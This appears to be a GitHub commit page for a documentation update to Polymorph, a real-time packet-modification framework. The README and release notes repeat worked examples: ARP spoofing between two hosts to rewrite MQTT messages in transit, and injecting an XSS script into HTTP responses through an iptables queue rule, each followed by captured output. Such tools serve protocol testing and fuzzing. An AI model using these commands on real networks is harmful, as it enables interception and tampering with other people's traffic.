Skip to content

Commit

Permalink
UPDATE: Documentation
Browse files Browse the repository at this point in the history
  • Loading branch information
root committed May 20, 2018
1 parent 2133663 commit 1c8a9d5
Show file tree
Hide file tree
Showing 2 changed files with 322 additions and 41 deletions.
198 changes: 157 additions & 41 deletions README.md
View file
Original file line number Diff line number Diff line change
@@ -1,48 +1,164 @@
# POLYMORPH
## Polymorph

Polymoprh is a framework written in the Python3 programming language that allows the modification of network packets in real time, providing maximum control to the user over the contents of the packet. This framework is intended to provide an effective solution for real-time modification of network packets that implement practically any existing protocol, including private protocols that do not have a public specification. In addition to this, one of its main objectives is to provide the user with the maximum possible control over the contents of the packet and with the ability to perform complex processing on this information.
Polymorph is a framework written in Python 3 that allows the modification of network packets in real time, providing maximum control to the user over the contents of the packet. This framework is intended to provide an effective solution for real-time modification of network packets that implement practically any existing protocol, including private protocols that do not have a public specification. In addition to this, one of its main objectives is to provide the user with the maximum possible control over the contents of the packet and with the ability to perform complex processing on this information.

# INSTALLATION

## Download and installation on Linux (Recommended)
## Installation

Polymoprh is specially designed to be installed and run on a Linux operating system, such as Kali Linux. Before installing the framework, the following requirements must be installed:
### Download and installation on Linux (Recommended)

apt-get install build-essential python-dev libnetfilter-queue-dev tshark tcpdump python3-pip wireshark
Polymorph is specially designed to be installed and run on a Linux operating system, such as Kali Linux. Before installing the framework, the following requirements must be installed:

```
apt-get install build-essential python-dev libnetfilter-queue-dev tshark tcpdump python3-pip wireshark
```
After the installation of the dependencies, the framework itself can be installed with the Python pip package manager in the following way:

pip3 install --process-dependency-links polymorph

## Download and installation on Windows

Polymorph can also be installed on Windows operating systems. The requirements necessary for the framework to work correctly are the following:

- Installation of Python3 (add it to *PATH*). [Download](https://www.python.org/downloads/)
- Installation of Wireshark (add it to the *PATH*). [Download](https://www.wireshark.org/download.html)
- Installation of Visual C ++ Build Tools. [Download](https://www.visualstudio.com/en/thank-you-downloading-visual-studio/?sku=BuildTools%5C&rel=15)
- WinPcap installation (If you have not installed it with Wireshark) [Download](https://www.winpcap.org/install/default.htm)

Once the dependencies are installed, the only thing that the user must do is open a console and execute the following command.

pip install --process-dependency-links polymorph

After completing the installation, Polymorph will be accessible from the terminal from any system path. It is important to note that **in Windows, Polymorph must be executed in a console with administrative privileges.**

## Docker enviroment
The implementation of this environment consists of three steps:

- Download and install Docker on the host machine, to do so go to the Docker homepage and follow the installation instructions for the desired operating system.
- Once the user has downloaded and started docker, he can access the project in the path */polymorph* and execute `docker-compose up -d`
- Docker will then take care of creating the containers following the specifications set in the Dockerfile and in the YAML of the compose, as soon as the configuration is finished the three machines will be up and ready to be used. Each time the docker service is restarted, it will be necessary to execute `docker-compose up -d`
- To access any of the machines the user must execute: `docker exec -ti [polymorph | alice | bob] bash`

# EXAMPLES AND DOCUMENTATION
For examples and documentation about the framework, please refer to:

- [English whitepaper](https://github.com/shramos/polymorph/blob/master/doc/whitepaper/whitepaper_english.pdf)
- [Spanish whitepaper](https://github.com/shramos/polymorph/blob/master/doc/whitepaper/whitepaper_spanish.pdf)
- [Building a Proxy Fuzzer for the MQTT protocol with Polymorph](http://www.shramos.com/2018/04/building-proxy-fuzzer-for-mqtt-protocol.html)

# CONTACT
shramos@protonmail.com
```
pip3 install --process-dependency-links polymorph
```

### Docker environment

From the project root:
```
docker-compose up -d
```
To access any of the machines of the environment:
```
docker exec -ti [polymorph | alice | bob] bash
```

## Using Polymorph

The Polymorph framework is composed of two main interfaces:

- **Polymorph:** It consists of a command console interface. It is the main interface and it is recommended to use it for complex tasks such as modifying complex protocols in the air, making modifications of types in fields of the template or modifying protocols without public specification.
- **Phcli:** It is the command line interface of the Polymorph framework. It is recommended to use for tasks such as modification of simple protocols or execution of previously generated templates.

### Using the Polymorph main interface
For examples and documentation please refer to:

- [English whitepaper](https://github.com/shramos/polymorph/blob/master/doc/whitepaper/whitepaper_english.pdf)
- [Spanish whitepaper](https://github.com/shramos/polymorph/blob/master/doc/whitepaper/whitepaper_spanish.pdf)
- [Building a Proxy Fuzzer for the MQTT protocol with Polymorph](http://www.shramos.com/2018/04/building-proxy-fuzzer-for-mqtt-protocol.html)

### Using the Phcli

#### Modifying the MQTT protocol

Let's see how to use the Polymorph command line interface to spoof the communication between two machines and modify MQTT protocol.

- Let's start by seeing how the Polymorph framework dissects the MQTT Publish packet.
```
# phcli -p mqtt --show-fields --in-pkt test_topic
[INFO] Waiting for a network packet which implements the MQTT protocol
[INFO] The packet will be dissected to show its fields
[OK] Sniffing process started. Waiting for packets...
[OK] Packet captured. Printing the fields...
---[ RAW.MQTT ]---
str hdrflags = 0 (0x00000030)
int msgtype = 48 (3)
int dupflag = 48 (0)
int qos = 48 (0)
int retain = 48 (0)
int len = 24 (24)
int topic_len = 10 (10)
str topic = test_topic (test_topic)
str msg = test_message (test_message)
```

- Now that we know how polymorph dissects the MQTT Publish packets and how it names the fields, we are going to modify the `msg` field by spoofing the two remote machines that communicate using MQTT.

```
# phcli -s arp -tg 192.168.1.102 -g 192.168.1.121 -p mqtt -f msg -v "new_value" --in-pkt "test_topic"
[OK] ARP spoofing started between 192.168.1.121 and 192.168.1.102
[INFO] Polymorph needs to capture a packet like the one you want to modify in real time to learn how it is.
[INFO] It will be in sniffing mode until you generate the packet
[OK] Sniffing mode started. Waiting for packets...
[INFO] Great! Polymorph has the structure of the packet! Let's start breaking things!
[OK] Process of interception and modification of packets in real time started.
[*] Waiting for packets...
(Press Ctrl-C to exit)
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 75
id = 28767
flags = DF
frag = 0
ttl = 63
proto = tcp
chksum = 0x471e
src = 192.168.1.102
dst = 192.168.1.121
\options \
###[ TCP ]###
sport = 49198
dport = 1883
seq = 4046645883
ack = 938260113
dataofs = 8
reserved = 0
flags = PA
window = 229
chksum = 0x7526
urgptr = 0
options = [('NOP', None), ('NOP', None), ('Timestamp', (3643906, 1823353))]
###[ Raw ]###
load = '0\x16\x00\ntest_topicnew_value'
```

#### Modifying the HTTP protocol

Let's see a last example modifying HTTP packages to inject a simple XSS in localhost. After executing the command simply navigate with your browser through an HTTP page.
```
# phcli -p tcp --in-pkt "</html>" -b "\-54:\-20" -v '"><script>alert("hacked")</script>' -ipt "iptables -A INPUT -j NFQUEUE --queue-num 1"
[INFO] Polymorph needs to capture a packet like the one you want to modify in real time to learn how it is.
[INFO] It will be in sniffing mode until you generate the packet
[OK] Sniffing mode started. Waiting for packets...
[INFO] Great! Polymorph has the structure of the packet! Let's start breaking things!
[OK] Process of interception and modification of packets in real time started.
[*] Waiting for packets...
(Press Ctrl-C to exit)
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 898
id = 9382
flags = DF
frag = 0
ttl = 54
proto = tcp
chksum = 0xef66
src = 194.150.169.131
dst = 192.168.0.167
\options \
###[ TCP ]###
sport = http
dport = 52210
seq = 3481765999
ack = 2589984605
dataofs = 8
reserved = 0
flags = PA
window = 2049
chksum = 0x3df4
urgptr = 0
options = [('NOP', None), ('NOP', None), ('Timestamp', (4180691237, 3065344385))]
###[ Raw ]###
load = 'm Mongo\n10. Elite World News by Dr. Dude\n11. Elite World News by Dr. Dude\n\n\nComing soon...\n\n Phrack Jolt!\n\n All the VMBs and TWICE the c0deZ!\n_______________________________________________________________________________\n</pre>\n\n</div>\n</div>\n\n</center>\n\n<div align="center" class="texto-2-bold">\n[ <a href="../../index.html" title="News">News</a> ]\n[ <a href="../../papers/dotnet_instrumentation.html" title="Paper Feed">Paper Feed</a> ]\n[ <a href="../../issues/69/1.html" title="Issues">Issues</a> ]\n[ <a href="../../authors.html" title="Authors">Authors</a> ]\n[ <a href="../../archives/" title="Archives">Archives</a> ]\n[ <a href="../../contact.html" title="Contact">Contact</a> ]\n</div>\n\n<div align="right" class="texto-1">\xc2\xa9 Copyl"><script>alert("hacked")</script>iv>\n</body>\n</html>\n'
```

## CONTACT

[shramos@protonmail.com](mailto:shramos@protonmail.com)
165 changes: 165 additions & 0 deletions doc/release-notes/release-notes-1.0.0.md
View file
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
## Polymorph Upgrade

```
pip3 install polymorph --upgrade
```

## Major changes

### 1. New methods added to the packet class
New methods have been added that can be accessed in the preconditions, postconditions and executions through the packet object.
```
packet.global_var(name, default_value): Create a global variable
packet.set_payload(raw_payload): Sets the bytes of the packet
packet.get_payload(): Return the bytes of the packet
packet.insert(start_byte, end_byte, value): inserts a value between bytes of the packet
```

### 2. Modification of preconditions postconditions and executions on disk
Now if from the main interface of Polymorph you use the command `precs -a prec1` where `prec1` is an existing precondition, the framework opens the existing precondition to be modified.

### 3. Insert preconditions, postconditions and executions from any system path
Now you can use the `precs/posts/execs -i path` command from the main Polymorph interface to insert `.py` files with the structure of the conditional functions from any system path.

### 4. Change the position of preconditions, postconditions and executions in a template
Now you can change the position of the conditional functions that have been added to a template, by executing the following command from the Polymorph main interface:
```
PH:cap/t0 > precs
new2
new3
PH:cap/t0 > precs -c new3 -p 0
PH:cap/t0 > precs
new3
new2
```

### 5. The Polymorph main interface no longer accepts command line parameters
Actions such as `# polymorph -t template.json` **are no longer supported**, now you can perform the import actions from the main interface of the framework:
```
PH > import -h
Usage: import [-option]
Import different objects in the framework, such as templates or captures.
Options:
-h prints the help.
-t path to a template to be imported.
-pcap path to a pcap file to be imported
```

### 6. Added a command line interface. Phcli
A new component has been added to the Polymorph framework, a command line interface. Below are examples of use.
#### Modifying the MQTT protocol

Let's see how to use the Polymorph command line interface to spoof the communication between two machines and modify MQTT protocol.

- Let's start by seeing how the Polymorph framework dissects the MQTT Publish packet.
```
# phcli -p mqtt --show-fields --in-pkt test_topic
[INFO] Waiting for a network packet which implements the MQTT protocol
[INFO] The packet will be dissected to show its fields
[OK] Sniffing process started. Waiting for packets...
[OK] Packet captured. Printing the fields...
---[ RAW.MQTT ]---
str hdrflags = 0 (0x00000030)
int msgtype = 48 (3)
int dupflag = 48 (0)
int qos = 48 (0)
int retain = 48 (0)
int len = 24 (24)
int topic_len = 10 (10)
str topic = test_topic (test_topic)
str msg = test_message (test_message)
```

- Now that we know how polymorph dissects the MQTT Publish packets and how it names the fields, we are going to modify the `msg` field by spoofing the two remote machines that communicate using MQTT.

```
# phcli -s arp -tg 192.168.1.102 -g 192.168.1.121 -p mqtt -f msg -v "new_value" --in-pkt "test_topic"
[OK] ARP spoofing started between 192.168.1.121 and 192.168.1.102
[INFO] Polymorph needs to capture a packet like the one you want to modify in real time to learn how it is.
[INFO] It will be in sniffing mode until you generate the packet
[OK] Sniffing mode started. Waiting for packets...
[INFO] Great! Polymorph has the structure of the packet! Let's start breaking things!
[OK] Process of interception and modification of packets in real time started.
[*] Waiting for packets...
(Press Ctrl-C to exit)
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 75
id = 28767
flags = DF
frag = 0
ttl = 63
proto = tcp
chksum = 0x471e
src = 192.168.1.102
dst = 192.168.1.121
\options \
###[ TCP ]###
sport = 49198
dport = 1883
seq = 4046645883
ack = 938260113
dataofs = 8
reserved = 0
flags = PA
window = 229
chksum = 0x7526
urgptr = 0
options = [('NOP', None), ('NOP', None), ('Timestamp', (3643906, 1823353))]
###[ Raw ]###
load = '0\x16\x00\ntest_topicnew_value'
```

#### Modifying the HTTP protocol

Let's see a last example modifying HTTP packages to inject a simple XSS in localhost. After executing the command simply navigate with your browser through an HTTP page.
```
# phcli -p tcp --in-pkt "</html>" -b "\-54:\-20" -v '"><script>alert("hacked")</script>' -ipt "iptables -A INPUT -j NFQUEUE --queue-num 1"
[INFO] Polymorph needs to capture a packet like the one you want to modify in real time to learn how it is.
[INFO] It will be in sniffing mode until you generate the packet
[OK] Sniffing mode started. Waiting for packets...
[INFO] Great! Polymorph has the structure of the packet! Let's start breaking things!
[OK] Process of interception and modification of packets in real time started.
[*] Waiting for packets...
(Press Ctrl-C to exit)
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 898
id = 9382
flags = DF
frag = 0
ttl = 54
proto = tcp
chksum = 0xef66
src = 194.150.169.131
dst = 192.168.0.167
\options \
###[ TCP ]###
sport = http
dport = 52210
seq = 3481765999
ack = 2589984605
dataofs = 8
reserved = 0
flags = PA
window = 2049
chksum = 0x3df4
urgptr = 0
options = [('NOP', None), ('NOP', None), ('Timestamp', (4180691237, 3065344385))]
###[ Raw ]###
load = 'm Mongo\n10. Elite World News by Dr. Dude\n11. Elite World News by Dr. Dude\n\n\nComing soon...\n\n Phrack Jolt!\n\n All the VMBs and TWICE the c0deZ!\n_______________________________________________________________________________\n</pre>\n\n</div>\n</div>\n\n</center>\n\n<div align="center" class="texto-2-bold">\n[ <a href="../../index.html" title="News">News</a> ]\n[ <a href="../../papers/dotnet_instrumentation.html" title="Paper Feed">Paper Feed</a> ]\n[ <a href="../../issues/69/1.html" title="Issues">Issues</a> ]\n[ <a href="../../authors.html" title="Authors">Authors</a> ]\n[ <a href="../../archives/" title="Archives">Archives</a> ]\n[ <a href="../../contact.html" title="Contact">Contact</a> ]\n</div>\n\n<div align="right" class="texto-1">\xc2\xa9 Copyl"><script>alert("hacked")</script>iv>\n</body>\n</html>\n'
```

0 comments on commit 1c8a9d5

Please sign in to comment.